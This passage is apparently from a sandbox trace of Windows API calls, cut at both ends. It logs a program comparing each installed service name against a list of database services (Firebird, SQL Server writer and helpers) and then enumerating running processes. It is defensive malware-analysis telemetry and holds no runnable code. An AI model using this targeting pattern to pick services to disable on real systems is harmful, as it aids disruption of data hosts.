(lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0076.131] lstrlenW (lpString="FontCache") returned 9 [0076.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0076.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0076.131] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0076.131] lstrlenW (lpString="gpsvc") returned 5 [0076.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0076.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0076.131] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0076.131] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0076.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0076.131] lstrlenW (lpString="iphlpsvc") returned 8 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0076.132] lstrlenW (lpString="KeyIso") returned 6 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0076.132] lstrlenW (lpString="LanmanServer") returned 12 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0076.132] lstrlenW (lpString="LanmanWorkstation") returned 17 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0076.132] lstrlenW (lpString="lfsvc") returned 5 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0076.132] lstrlenW (lpString="lmhosts") returned 7 [0076.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0076.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0076.132] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0076.132] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0076.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0076.133] lstrlenW (lpString="LSM") returned 3 [0076.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0076.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0076.133] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0076.133] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0076.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0076.133] lstrlenW (lpString="MapsBroker") returned 10 [0076.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0076.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0076.133] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0076.133] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0076.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0076.133] lstrlenW (lpString="MpsSvc") returned 6 [0076.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0076.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0076.133] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0076.133] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0076.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0076.133] lstrlenW (lpString="NcbService") returned 10 [0076.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0076.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0076.133] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0076.133] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0076.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0076.133] lstrlenW (lpString="netprofm") returned 8 [0076.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0076.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0076.133] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0076.133] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0076.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0076.133] lstrlenW (lpString="NlaSvc") returned 6 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0076.134] lstrlenW (lpString="nsi") returned 3 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0076.134] lstrlenW (lpString="PcaSvc") returned 6 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0076.134] lstrlenW (lpString="PlugPlay") returned 8 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0076.134] lstrlenW (lpString="Power") returned 5 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0076.134] lstrlenW (lpString="ProfSvc") returned 7 [0076.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0076.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0076.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0076.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0076.135] lstrlenW (lpString="RpcEptMapper") returned 12 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0076.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0076.135] lstrlenW (lpString="RpcSs") returned 5 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0076.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0076.135] lstrlenW (lpString="SamSs") returned 5 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0076.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0076.135] lstrlenW (lpString="Schedule") returned 8 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0076.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0076.135] lstrlenW (lpString="SecurityHealthService") returned 21 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0076.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0076.135] lstrlenW (lpString="SENS") returned 4 [0076.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0076.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0076.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0076.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0076.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0076.136] lstrlenW (lpString="ShellHWDetection") returned 16 [0076.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0076.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0076.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0076.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0076.136] lstrlenW (lpString="Spooler") returned 7 [0076.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0076.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0076.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0076.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0076.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0076.136] lstrlenW (lpString="SSDPSRV") returned 7 [0076.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0076.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0076.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0076.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0076.136] lstrlenW (lpString="StateRepository") returned 15 [0076.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0076.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0076.136] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0076.136] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0076.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0076.136] lstrlenW (lpString="SysMain") returned 7 [0076.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0076.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0076.136] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0076.136] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0076.137] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f1b60 | out: hHeap=0x490000) returned 1 [0076.137] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2c4 [0076.143] Process32FirstW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0076.143] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0076.144] lstrlenW (lpString="System") returned 6 [0076.144] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0076.144] lstrlenW (lpString="smss.exe") returned 8 [0076.349] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.349] lstrlenW (lpString="csrss.exe") returned 9 [0076.349] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0076.350] lstrlenW (lpString="wininit.exe") returned 11 [0076.350] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0076.350] lstrlenW (lpString="csrss.exe") returned 9 [0076.350] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0076.351] lstrlenW (lpString="winlogon.exe") returned 12 [0076.351] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0076.351] lstrlenW (lpString="services.exe") returned 12 [0076.351] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0076.352] lstrlenW (lpString="lsass.exe") returned 9 [0076.352] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.353] lstrlenW (lpString="svchost.exe") returned 11 [0076.353] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0076.353] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0076.353] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0076.354] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0076.354] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.354] lstrlenW (lpString="svchost.exe") returned 11 [0076.354] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0076.355] lstrlenW (lpString="dwm.exe") returned 7 [0076.355] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.355] lstrlenW (lpString="svchost.exe") returned 11 [0076.355] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.356] lstrlenW (lpString="svchost.exe") returned 11 [0076.356] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.356] lstrlenW (lpString="svchost.exe") returned 11 [0076.356] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.357] lstrlenW (lpString="svchost.exe") returned 11 [0076.357] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.357] lstrlenW (lpString="svchost.exe") returned 11 [0076.357] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.358] lstrlenW (lpString="svchost.exe") returned 11 [0076.358] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.358] lstrlenW (lpString="svchost.exe") returned 11 [0076.358] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.359] lstrlenW (lpString="svchost.exe") returned 11 [0076.359] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.359] lstrlenW (lpString="svchost.exe") returned 11 [0076.359] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.360] lstrlenW (lpString="svchost.exe") returned 11 [0076.360] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.360] lstrlenW (lpString="spoolsv.exe") returned 11 [0076.360] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.361] lstrlenW (lpString="svchost.exe") returned 11 [0076.361] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0076.361] lstrlenW (lpString="audiodg.exe") returned 11 [0076.361] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0076.362] lstrlenW (lpString="sihost.exe") returned 10 [0076.362] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.362] lstrlenW (lpString="svchost.exe") returned 11 [0076.362] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0076.363] lstrlenW (lpString="taskhostw.exe") returned 13 [0076.363] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.364] lstrlenW (lpString="explorer.exe") returned 12 [0076.364] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0076.364] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0076.364] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, 